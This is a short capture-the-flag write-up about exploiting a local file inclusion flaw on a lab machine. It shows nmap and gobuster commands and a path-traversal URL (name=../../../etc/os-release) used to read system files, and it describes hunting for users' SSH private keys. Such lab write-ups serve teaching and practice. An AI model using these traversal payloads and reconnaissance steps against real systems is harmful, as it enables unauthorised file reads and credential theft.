This room is intended to focus on local file inclusion attacks, so my guess is that hitting the machine with Nmap and gobuster is probably unnecessary. But, I’m going to do it anyway, just in case.
The target is 10.10.0.57. The website running there is basically a shell — most of the links, including the search box, don’t work. No JavaScript is loaded. The only links that do work are the “View details” buttons underneath the bottom three articles. This calls an /article endpoint with a single parameter, name. The resulting page looks like someone just dumped a plain text file between the <body/> tags.
Given the purpose of the room, I’m going to guess they did.
While it’s probably pro forma, let’s run our usual Nmap scan just in case:
sudo nmap -v -oA inclusion -Pn -A -T4 -sS -script vuln \
-p- 10.10.0.57This gives the following output:
# Nmap 7.92 scan initiated Tue Feb 1 18:58:37 2022 as: nmap -v -oA inclusion -Pn -A -T4 -sS -script vuln -p- 10.10.0.57
Pre-scan script results:
|_broadcast-avahi-dos: ERROR: Script execution failed (use -d to debug)

So, we’ve got a Linux box running SSH and some weird-ass httpd server on port 80.
We’ll also hit 10.10.0.57 with gobuster:
gobuster \
-t 50 dir \
-u http://10.10.0.57 \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txtThis only detects the /article endpoint I noted while poking around the site. (I could hit the site with a larger wordlist, but it doesn’t seem worth it.)
I’m going to go out on a limb here and guess that we’re going to exploit the /article endpoint, which probably is just pulling in files verbatim.
A common file on Linux systems is /etc/os-release, so let’s see if we can include this. And, in fact, after a little experimentation it turns out that we can using http://10.10.0.57/article?name=../../../etc/os-release:

Unfortunately, it looks like neither falconfeast nor root have SSH keys (I checked for id_dsa, id_rsa, and id_id_ed25519), so we’re just going to have to blindly find the flags.
Fortunately, the flag file names are pretty standard, so finding them didn’t take long.
